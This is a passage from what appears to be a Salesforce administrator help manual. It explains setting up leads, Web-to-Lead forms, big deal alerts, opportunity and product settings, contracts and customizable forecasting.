or view a requested meeting.
If this field is set to Visible and Read-Only, the New
Meeting Request button doesn't display on the Open
Activities related list, and requested meetings open as
read-only (preventing users from confirming or
rescheduling the meeting).

Description Visible By default, when a requested meeting is confirmed,


the last message sent from the meeting organizer
appears in the Description field for the new group
event.
However, if field-level security for the Description
field isn't set to Visible, then the last message doesn't
appear in the Description field even if field-level
security is later set to Visible.

See Also:
About the Request a Meeting Feature

1069
Customize Setting Up Lead Management

LEADS

Setting Up Lead Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company.
Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful
lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their
marketing investment.
To get started using lead management, click Setup ➤ Customize ➤ Leads:

• Click Fields to create custom lead fields that track information specific to your company; see About Custom Fields on
page 811. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted
when users convert leads; see Mapping Custom Lead Fields on page 1072. Edit the Lead Status picklist to choose the
default status for new and converted leads; see Updating Picklists on page 798.
• Click Settings to specify your default lead settings. See Customizing Lead Settings on page 1070.
• Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules
on page 1046.
• Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 1074.

To create sales queues for leads or custom objects, click Setup ➤ Manage Users ➤ Queues. See Managing Queues on page
500.

Customizing Lead Settings


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change lead settings: “Customize Application”

To optimize the lead management features, you must edit the lead settings to specify certain defaults.

1. Click Setup ➤ Customize ➤ Leads ➤ Settings.


2. Click Edit to customize the following defaults:

1070
Customize Customizing Lead Settings

Field Description
Default Lead Owner The user or queue to which leads will be assigned if the active
assignment rule fails to locate an owner. This applies to leads
captured online and leads that a user manually creates or
edits with the auto-assign checkbox enabled.
Notify Default Lead Owner Checkbox to indicate whether Salesforce.com sends a
notification to the default lead owner when assigning a lead
to him or her. Default Lead Owner selected must be a
user.
Record Type Setting If a user creating a new lead applies assignment rules, this
setting indicates which record type to assign to the new
record. If you want new leads to keep the creator’s record
type, check Keep the existing record type. If you
want to overwrite the creator’s record type when applying
assignment rules, check Override the existing
record type with the assignee’s default
record type.

Enable Validation and Triggers from Lead When selected, enables the following operations when you
Convert convert leads:
• Enforcement of universally required custom fields.
• Enforcement of validation rules. Note that if validation
rules exist for activities and you create an activity during
lead conversion, the lead converts but a task is not
created.
• Workflow actions on leads such as field updates,
automatic task assignments, and transfers. Note that
existing time-based workflow actions on leads do not get
triggered as part of lead conversion.
• Execution of Apex before triggers that fire before the
insertion of accounts, contacts, or opportunities. In
addition, execution of Apex before triggers that fire
before the update of accounts or contacts.

Note: When Enable Validation and


Triggers from Lead Convert is selected, if
the lead conversion creates an opportunity and the
opportunity has Apex before triggers associated with
it, the triggers run immediately after the opportunity
is created, before the opportunity contact role is
created.

Do Not Change Lead Status Values to New If your organization uses record types, you can create a lead
Owner's Record Type on Lead Conversion process that allows you to provide different Lead Status
values for different record types. If Do Not Change Lead
Status Values to New Owner's Record Type on
Lead Conversion is selected, the Lead Status does

1071
Customize Mapping Custom Lead Fields

Field Description
not change to the new owner's default value during lead
conversion. If this setting it is not selected, the Lead
Status may change during lead conversion if the new
owner's record type has a different default value for Lead
Status.

Mapping Custom Lead Fields


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To map lead fields: “Customize Application”

When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact,
and opportunity fields (see Lead Conversion Mapping on page 2069). If your organization has custom lead fields, you can specify
how you want that custom information converted into custom account, contact, or opportunity fields.
To specify the mapping for custom lead fields:

1. Select Setup ➤ Customize ➤ Leads ➤ Fields ➤ Map Lead Fields.


2. For each custom lead field, choose a custom account, contact, or opportunity field into which you want the information
inserted when you convert a lead.
3. Click Save.

• Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other
numeric fields or long text area fields to other long text area fields.
Some exceptions are:

- You can map between text and picklist fields. However, your data may become truncated if the mapped text field is
not large enough to hold the entire lead picklist value.
- You can map fields of type Text or Text Area to long text area fields
- You can map auto-number fields to fields of type Text, Text Area, or Picklist.
- Do not map custom formula fields to other formula fields or any other type of field.
- Roll-up summary fields are not available for mapping lead fields of converted leads.

• Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of
exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places,
map it to another custom currency field with a length of 3 and 2 decimal places.
• Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and
opportunity.

1072
Customize Capturing Web Leads

Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.

See Also:
Converting Leads

Capturing Web Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Lead: “Customize Application”

With Web-to-Lead, you can gather information from your company’s website and automatically generate up to 500 new leads
a day.
Your company may already have a registration or other type of page where users enter their contact information. You may also
want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that
information to Salesforce.com to create new leads.
See Preparing to Set Up Web-to-Lead for the steps to prepare for setting up Web-to-Lead.
See Setting Up Web-to-Lead for the steps to set up Web-to-Lead.

See Also:
Managing Assignment Rules
Managing Queues
Customizing Lead Settings
Assigning Leads
Displaying and Editing Leads
Creating Leads
Converting Leads
Setting Up Auto-Response Rules

1073
Customize Preparing to Set Up Web-to-Lead

Preparing to Set Up Web-to-Lead


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed


To set up Web-to-Lead: “Customize Application”

Before setting up Web-to-Lead, you need to:

• Create custom lead fields, if needed, and specify how they’ll map to custom account, contact, and opportunity fields during
lead conversion. See About Custom Fields on page 811 and Mapping Custom Lead Fields on page 1072.
• Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 798.
• Create public email templates for the automated notification email that will be sent to prospects upon submission of each
web lead. If you plan to set up email response rules to use different email templates depending on the information submitted,
create one default template to send when none of your response rules apply. (see Managing Email Templates on page 423
and Setting Up Auto-Response Rules on page 1055).
Note: Auto-response rules are not available in Group Edition.

• Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 500).
• Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see
Customizing Lead Settings on page 1070).
• Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see
Managing Assignment Rules on page 1046). If you do not set an active assignment rule, all web-generated leads are assigned
to the default owner you specify in the Lead Settings.

See Also:
Setting Up Web-to-Lead
Capturing Web Leads

Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Lead: “Customize Application”

To set up Web-to-Lead:

1074
Customize Setting Up Web-to-Lead

1. Click Setup ➤ Customize ➤ Leads ➤ Web-to-Lead.


2. Click Edit to enable or modify the following Web-to-Lead settings:

Web-to-Lead Setting Description


Web-to-Lead Enabled Enables Web-to-Lead.
Default Lead Creator The user who will be listed as the creator of online leads and
who will appear as the sender of email responses. This user
must have the System Administrator profile or the “Modify
All Data” and “Send Email” permissions.
Default Response Template The default response template to use for the email response
that is automatically sent to prospects when they submit an
online lead.
If you set up response rules to use different email templates
based on the information submitted, the default response
template is used when no auto-response rules on page 1055
apply. Leave this option blank if you do not wish to send
emails when no response rules apply. This template must be
marked as “Available for Use.”
Note: Auto-response rules are not available in
Group Edition.

3. Click Save.
4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page.
5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available
Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form.

• Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as
part of a campaign.
• For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise
all amounts will be captured in your corporate currency.
• Use a custom multi-select picklist to allow potential customers to express interest in several products.
• For organizations using lead record types, select the Lead Record Type field if you want users to select a record type
for Web-generated leads.

6. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed
on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language.
7. Specify the complete URL to which users should be directed after they submit their information—for example, your
company's home page for a thank you page—and click Generate.
8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website.
9. Click Finished.

To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This
line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page
to your website.

1075
Customize Restricting Price and Quantity Editing on Opportunity Products

Leads generated from your website are initially marked with the “default status” specified by the Lead Status picklist. For
Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified
in the form, or to the “default” member status if the Member Status field is not included in the form.
In addition, new leads are marked as “Unread,” and are changed to “Read” when viewed or edited by the lead owner. Users
can select the My Unread Leads list view to quickly locate their new leads.
Note: The format for date and currency fields captured online is taken from your organization’s default settings -
Default Locale and Currency Locale.

If your organization exceeds its daily Web-to-Lead limit, the Default Lead Creator (specified in the Web-to-Lead
setup) receives an email containing the additional lead information. If a new lead cannot be generated due to errors
in your Web-to-Lead setup, Customer Support is notified of the problem so that we can help you correct it.
Salesforce.com runs field validation rules before creating records submitted via Web-to-Lead and only creates records
that have valid values.
All universally required fields must have a value before a record can be created via Web-to-Lead.

See Also:
Preparing to Set Up Web-to-Lead
Capturing Web Leads

SALES

Restricting Price and Quantity Editing on Opportunity


Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restrict price and unit editing: “Customize Application”

To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the
opportunity products page layout.
To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout.
Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.

1076
Customize Customizing Big Deal Alerts

Customizing Big Deal Alerts


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To activate big deal alerts: “Customize Application”

Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize
this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and
probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability
of 90%.

See Also:
Activating Big Deal Alerts

Activating Big Deal Alerts


You can activate one opportunity alert for your organization. The alert message resembles the opportunity detail page including
the page layout and language from a selected user. Before you begin, you may want to decide which user has the page layout
and language settings that you would like included in all alerts. This user must also have the “View All Data” permission.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Big Deal Alert.


2. Enter a name for the alert.
3. Enter a Trigger Probability and Trigger Amount in the corporate currency. An opportunity alert is triggered for
opportunities with this probability and amount or greater. The alert triggers only for those opportunities that meet both
the trigger probability and trigger amount threshold settings.
Note: An opportunity can trigger a big deal alert even if it is in a currency that is different from the corporate
currency. The Amount on an opportunity is converted to corporate currency and compared to the Trigger
Amount. If you are using advanced currency management, dated exchange rates will be used.

4. Check the Active box if you would like to activate the new alert immediately after you save.
5. Enter the From Email Name.
6. Enter the From Email Address.
7. Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the
emails. This user’s profile must include the “View All Data” permission.
For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the
opportunity currency is different than the currency of the user selected in this step, both currencies are included in the
email.
Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid
email addresses.

1077
Customize Enabling Opportunity Update Reminders

The BCC: field is not available if your organization has enabled compliance BCC emails.
8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert
emails.
9. Click Save.

Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity
that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes
higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second
alert if it crosses that threshold again.
When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert
messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see
Logging in to Connect Offline on page 1989.

See Also:
Customizing Big Deal Alerts
Managing Multiple Currencies

Enabling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit opportunity update reminder setup: “Customize Application” OR “Manage Users”
To activate or deactivate opportunity update reminders: “Manage Users”

Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers
to schedule opportunity update reminders: automated opportunity reports that managers can customize for their teams. For
example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on
the team and have the report distributed to everyone on the team.
To enable opportunity update reminders for your organization:

1. Click Setup ➤ Customize ➤ Opportunities ➤ Update Reminders.


2. Click Edit.
3. Select Enable Update Reminders for My Organization. Remove the check to disable this feature.
4. Optionally, select Automatically Activate Reminders for Users with Direct Reports if you want to
schedule opportunity update reminders for all your current users and users you add in the future that have direct reports.
5. Click Save.
6. Check the boxes next to the users you want to activate. Optionally, check the box in the column header to select all currently
displayed items. Activated users can schedule an opportunity update reminder.
7. Click Activate. Click Deactivate to prevent the selected users from creating an opportunity update reminder.

1078
Customize Enabling Similar Opportunities

This enables each user selected to schedule opportunity update reminders for his or her team. You can activate any user that
has direct reports.

See Also:
Scheduling Opportunity Update Reminders

Enabling Similar Opportunities


Available in: Enterprise, Unlimited, Developer Editions

User Permissions Needed


To enable similar opportunities: “Customize Application”

On the opportunity detail page, the Similar Opportunities related list displays opportunities that match attributes of the current
opportunity. Enabling this related list allows users to learn how their current opportunities relate to other opportunities in
Salesforce.com.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Similar Opportunities.


2. Click Edit.
3. Select Enable Similar Opportunities to add the Similar Opportunities related list to the opportunity detail page.
4. Edit the search criteria and columns as necessary.
5. Add the Similar Opportunities related list to the opportunity page layout. For more information, see Customizing Page
Layouts on page 1014.
6. Click Save.

Important: Enabling similar opportunities gives all users in your organization limited visibility into private
opportunities, regardless of sharing rules and profile permissions. Once enabled, users will see information for any
opportunity that matches fields you choose to display in the Similar Opportunities related list.

Editing the Similar Opportunities Search Criteria


You can determine which opportunity fields to match against when finding similar opportunities, and which columns to show
in the related list.
1. Select the opportunity fields or related lists that you want to match against when finding similar opportunities and click
Add. You must select between three and ten fields.
The following standard fields are supported:
• Private
• Close Date
• Probability (%)
• Account Name
• Primary Campaign Source
• Quantity

1079
Customize Prompting for Products on Opportunities

• Lead Source
• Opportunity Owner
• Type
The following standard related lists are supported:
• Products
• Contact Role
• Partner
• Competitors
• Sales Team
You can select any custom opportunity field, with the exception of those with the following field types:
• auto-number
• currency
• formula
• picklist (multi-select)
• roll-up summary
• text (encrypted)
• text area

2. Select the fields to use as columns on the Similar Opportunities related list.
a. Select the columns in the Available Columns box and click Add to move the columns to the Selected Columns box.
If necessary, select Remove to move columns from the Selected Columns box to the Available Columns box.
You can select up to 15 columns.
b. Use the up and down arrows to organize the selected columns in the appropriate order.

3. Click Save.

See Also:
Displaying and Editing Opportunities

Prompting for Products on Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable prompting for products: “Modify All Data”

Customize Salesforce.com to prompt users to select a product when creating an opportunity. Enabling this option makes it
easier for users to add products while creating an opportunity.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Settings.

1080
Customize Automatically Activating Product Prices

2. Check Prompt users to add products to opportunities to have Salesforce.com prompt users to select a
product when creating an opportunity.
3. Click Save.
4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven
from the products on the opportunity. See Setting Field-Level Security on page 540.

Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.

See Also:
Products, Price Books, and Schedules Overview

Automatically Activating Product Prices


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To auto-activate product prices: “Customize Application”

When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise,
if you activate a product, you can have all the prices for that product automatically activated.

1. Click Setup ➤ Customize ➤ Products ➤ Settings.


2. Check When changing active flag on a product... to have Salesforce.com automatically change the active
flag on all related prices to whatever the active flag is on the related product.
Leave this field unchecked if you want related prices to remain the same status whenever users activate or deactivate a
product.
3. Click Save.

See Also:
Products, Price Books, and Schedules Overview

1081
Customize Using Product Families

Using Product Families


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit product families: “Customize Application”

Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software,
you can create two product families: Hardware and Software.
If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales.
Users can also view forecasts for opportunities with hardware products separate from opportunities that include software
products. See Do I Have Customizable Forecasting? on page 1741.
To begin using product families:

• Customize the Product Family picklist to include the different categories of products you sell. See Modifying Picklists
on page 798.
• For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying
and Editing Products on page 1798.
• If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting
Quotas for Customizable Forecasting on page 453.
• If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast
family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 1086.

See Also:
Setting Up Customizable Forecasting

1082
Customize Setting Up Product Schedules

Setting Up Product Schedules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up product schedules:
“Customize Application”
AND
“Read,” “Create,” “Edit,” and “Delete” on products
AND
“Read,” “Create,” “Edit,” and “Delete” on price books

Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow
users to create schedules for individual products on opportunities.
Quantity Schedule
Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your
organization can decide exactly how to use quantity schedules.

Revenue Schedule
Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product.
Your organization can decide exactly how to use revenue schedules.

Default Schedule
A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default
revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any
particular opportunity, users can override the default schedules.

Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To enable schedules for your organization:

1. Click Setup ➤ Customize ➤ Products ➤ Schedule Setup.


2. Select the appropriate checkboxes to enable quantity and revenue schedules for your organization. Note that disabling a
schedule type automatically deletes all existing schedule information from products.
For a definition of each schedule type, see Setting Up Product Schedules on page 1083.
3. For each schedule type you enable, select whether to automatically enable that schedule type for every product in your price
books. This option automatically selects the Quantity Scheduling Enabled or Revenue Scheduling Enabled
checkboxes on every product in your price books.

1083
Customize Customizing Contract Settings

4. Click Save.

For greater control of schedules on a product-by-product basis, administrators can also determine which schedule types users
can establish for each product (see Creating and Editing Default Schedules on page 1802).
Note: Enabling or disabling schedules does not affect archived products. For information on archived products, see
Deleting Products and Price Books on page 1814.
You cannot disable both schedule types for your organization if schedules are referenced in an Apex script. For example,
if a script references the schedule object (represented as OpportunityLineItemSchedule in the code), you can
disable one of the schedule types, but not both. For more information, see Force.com Apex Code Overview on page
1538.

Customizing Contract Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change contract settings: “Customize Application”

Customize Salesforce.com to handle your internal contract management process. Enable or disable contract expiration notices
and auto-calculation of contract end dates.

Enabling Contract Expiration Notices


Set an option to automatically send email notifications to account and contract owners when a contract expires. To activate
these expiration notices:
1. Click Setup ➤ Customize ➤ Contracts ➤ Settings.
2. Select the Send contract expiration notice emails... option.
3. Click Save.
Remove the check on this option and click Save to stop sending expiration notices.

Disabling Auto-Calculation of Contract End Dates


Your contracts may not have end dates or you may prefer to have users enter them manually. If so, disable auto-calculation of
contract end dates:
1. Click Setup ➤ Customize ➤ Contracts ➤ Settings.
2. Remove the check in the Auto-calculate Contract End Date option.
3. Click Save.
4. View your page layout and field-level security settings for Contract End Date, Contract Start Date, and Contract
Term to ensure your users can read or edit them as needed. See Managing Page Layouts on page 1012 and About Field
Accessibility on page 1037.
• To enable auto-calculation, check this option and click Save. If Salesforce.com auto-calculates Contract End Date,
it does not display on the contracts edit page.

1084
Customize Setting Up Customizable Forecasting

Note: If Auto-calculate Contract End Date is enabled but Contract Start Date or Contract Term is empty,
Contract End Date will be blank.

See Also:
Contracts Overview

FORECASTS

Setting Up Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Sales forecasts represent the best estimate of how much revenue you can generate. They give your managers and executives a
view of your overall business no matter how dispersed your sales teams are.
Because forecasting is so universal, customizable forecasting is a flexible solution for even the most advanced requirements.
Get started using customizable forecasting by clicking Setup ➤ Customize ➤ Forecasts:

• Click Fiscal Year to customize your fiscal year settings. See Setting the Fiscal Year on page 350.
• Click Settings to customize the default settings for your organization. See Defining Customizable Forecast Settings on
page 1086.
• Click Forecast Hierarchy to set up your forecast hierarchy and sharing. See Setting Up Your Forecast Hierarchy on page
1088.
• Click Enable Forecasting to launch customizable forecasting for your organization and set up your initial forecast hierarchy.
See Enabling Customizable Forecasting on page 1091.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.

See Also:
Administrator tip sheet: Setting Up Customizable Forecasting
Submitting Customizable Forecasts in Batches
Using Product Families
Defining Customizable Forecast Settings
Setting Up Your Forecast Hierarchy
Enabling Customizable Forecasting

1085
Customize Defining Customizable Forecast Settings

Defining Customizable Forecast Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define forecast settings: “Customize Application”

Define the following settings for your organization:

• Forecast Data Aggregation determines the type of data that is displayed on forecasts.
• Forecast Summary Default View determines the default product family, date start, date range, and forecast numbers for
default forecasts.
• Forecast Data Sharing determines whether forecast data can be shared.

To set forecast options:

1. Click Setup ➤ Customize ➤ Forecasts ➤ Settings.


2. Select Forecast Revenue if you want forecasts to include revenue amount. If you disable this setting, you will lose all
revenue overrides on your forecasts.
3. Select Forecast Quantity if you want forecasts to include quantity totals. If you disable this setting, you will lose all
quantity overrides on your forecasts.
4. Choose a Forecast Period. If you do not have custom fiscal years enabled, choose monthly or quarterly depending on
your organization’s forecasting cycle. If you have enabled custom fiscal years, you can choose to forecast by fiscal period or
by fiscal quarter. The forecast period you choose determines the time increment your organization uses for quotas and
forecasts. If you choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals
are not available. If you change this setting, you will lose all overrides and forecasts, including all forecast history.
5. Choose a Forecast Date that determines how opportunity amounts contribute to forecasts:

• Choose Opportunity Close Date if you want the entire opportunity amount to contribute to the forecast period
for that date. If your organization does not use products, this is the only option available.
• Choose Product Date if you want the amount of the product on the opportunity to contribute to the forecast period
that corresponds with the Product Date. When no products exist on an opportunity or the product date is blank,
Salesforce.com uses the Opportunity Close Date in the user’s forecast instead.
• Choose Schedule Date if you want the individual revenue schedule amounts to contribute to the forecast periods
that correspond with the schedule dates. If a product does not have a revenue schedule, Salesforce.com uses the Product
Date in the user’s forecast instead.

6. Choose a Forecast Type that determines how many forecasts your users will submit in a period:

• Choose Use Overall Forecast if your organization does not use products. Your users will have one forecast and
one quota for each period. If your organization does not use products, this is the only option available.
• Choose Use Product Families if your users have one quota and one forecast for each product family. See Using
Product Families on page 1082.

7. Choose a default view for your users. This setting determines what forecast product family, date start, date range, and
forecast totals to display for users when they first click the Forecasts tab. Users can change their view but the default remains
the same for all users.

1086
Customize Setting Your Fiscal Year

8. Enable or disable forecast sharing by selecting or deselecting Enable Forecast Sharing.


9. Click Save.
If you have enabled forecast sharing, you are prompted to choose who can share existing forecast views. The options are:

• Require Administrator assistance for forecast sharing - Only administrators can share existing
forecast data.
• Forecast managers can share their own forecast data - Administrators can share existing forecast
data, and existing forecast managers can also share their own views.

Note: This choice applies to existing forecasting views only; it is not a default setting for your organization. Each
time you edit or assign a forecast manager in the role hierarchy, you must define who can share that view.

If you have chosen to disable forecast sharing, you are prompted to confirm your choice.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.

See Also:
Setting Up Customizable Forecasting
Manually Sharing a Forecast
Setting Your Fiscal Year

Setting Your Fiscal Year


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set fiscal year: “Customize Application”

Your fiscal year determines your monthly or quarterly forecasting cycle, the month it starts, and whether the Fiscal Year
is named for the starting or ending year. For example, if your fiscal year starts in April 2005 and ends in March 2006, your
fiscal year setting can be either 2005 or 2006.
To set your fiscal year for customizable forecasting:

1. Begin by archiving your data first because changing your fiscal year settings affects your opportunity and forecast data. We
recommend running and exporting the following reports:

• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs Actual

2. Click Setup ➤ Customize ➤ Forecasts ➤ Fiscal Year.


3. Choose a Forecast Period of monthly or quarterly depending on your organization’s forecasting cycle.

1087
Customize Setting Up Your Forecast Hierarchy

The forecast period you choose determines the time increment your organization uses for quotas and forecasts. If you
choose monthly, you can still see totals by quarters but, if you choose quarterly, monthly forecast totals are not available.
4. Choose a Fiscal Year Start Month that represents the beginning of your organization’s fiscal year.
5. Select a Fiscal year is based on option that represents how your organization refers to a fiscal year. For example,
if your fiscal year starts in April 2004 and ends in March 2005 but is called Fiscal Year 2005, choose The ending month
because the last month determines how your organization refers to that fiscal year.
6. Do not check Apply to all forecasts and quotas unless you want to change the fiscal year settings of forecasts
created before you enabled customizable forecasts. Checking this option changes your historical forecast data.
7. Click Save.

Note: If these options are not available to you, you may not have customizable forecasting. See Do I Have Customizable
Forecasting? on page 1741 to determine if your organization has enabled customizable forecasting.

See Also:
Defining Customizable Forecast Settings

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy: “Customize Application”

Your forecast hierarchy lists each user that can use customizable forecasting. It determines how forecasts roll up through your
hierarchy. It is based on the role hierarchy by default, or the territory hierarchy if your organization has territory management.
When customizable forecasting is enabled for your organization, it automatically generates a forecast hierarchy based on your
organization’s role hierarchy. The forecast hierarchy becomes based on your territory hierarchy only when you enable territory
management. To customize your forecast hierarchy:

• Make sure that all the appropriate users are in your forecast hierarchy. If any are not and should be, see Enabling Users
for Customizable Forecasting on page 1089.
• Make sure that the appropriate users are the assigned forecast manager whenever there is more than one user in a role or
territory in your forecast hierarchy. Each user at the bottom of your forecast hierarchy can be a forecast manager. However,
above that, a single user must be chosen as the forecast manager for forecasts to roll up to that user. See Assigning Forecast
Managers in Your Forecast Hierarchy on page 1090.
• Share forecast manager views with other users. See Manually Sharing a Forecast on page 1092.

1088
Customize Setting Up Your Forecast Hierarchy

If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.

See Also:
Setting Up Customizable Forecasting
Enabling Users for Customizable Forecasting
Assigning Forecast Managers in Your Forecast Hierarchy

Enabling Users for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy: “Customize Application”

To enable users for customizable forecasting if your organization does not use territory management:

1. Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy.


2. Click Enable Users next to a role to view a list of users assigned to that level.
3. Select a user and click Add to enable the user for customizable forecasting. To disable a user, select the user and click
Remove.
4. Click Save.

To enable a user for customizable forecasting if your organization uses territory management:

1. Click Setup ➤ Customize ➤ Users.


2. Click Edit next to the user's name.
3. Select Allow Forecasting.
4. Click Save.
5. Add the user to a territory.

Note: To view a list of users for a territory, select the territory name in the territory hierarchy or run a territory report.
For more information on territory reports, see Territory Reports on page 2132.
If you add more than one user to a role or territory, make sure that the appropriate user is the assigned forecast manager
for that role or territory. See Assigning Forecast Managers in Your Forecast Hierarchy on page 1090

See Also:
Setting Up Your Forecast Hierarchy

1089
Customize Setting Up Your Forecast Hierarchy

Assigning Forecast Managers in Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up forecast hierarchy: “Customize Application”

After users are enabled for customizable forecasting, assign a user as a forecast manager for each role in your forecast hierarchy.
Assigning someone as a forecast manager means that all forecasts from users below that user in the forecast hierarchy roll up
to that person. For example, an executive and executive assistant may have the same role, but the executive is the assigned
forecast manager in the forecast hierarchy because all subordinates' forecasts roll up to the executive. Both the executive and
executive assistant can submit forecasts, but forecasts of other users do not roll up to the executive assistant.
If a role in the forecast hierarchy has no forecast manager, that role and all its subordinate roles are not included in your
forecasts.
If Nonforecasting appears next to a role or territory in the forecast hierarchy, it means that a forecast manager has not
been assigned to that role or territory.

1. Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy.


2. Click Assign Manager or Edit Manager next to a role to assign a user as the forecast manager of that role.
Roles without roles below them cannot have forecast managers unless your organization has territory management, which
supports forecast managers at all levels.
3. Choose a user to be assigned as the forecast manager of the selected role. If no users are available for the role, enable the
appropriate user; see Enabling Users for Customizable Forecasting on page 1089.
4. If forecast sharing is enabled, choose the sharing settings:

• Choose Require Administrator assistance for forecast sharing to limit forecast sharing for this view
to administrators. This is the default option.
• Choose Forecast managers can share their own forecast views to allow the administrator or the
forecast manager to share this view.

5. Click Save.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.

See Also:
Setting Up Your Forecast Hierarchy
Manually Sharing a Forecast

1090
Customize Enabling Customizable Forecasting

Enabling Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable customizable forecasts: “Customize Application”

Enabling customizable forecasting for your organization allows your forecast users to view and submit their customizable
forecasts from the Forecasts tab based on your customizable forecast settings.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.

1. Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy.


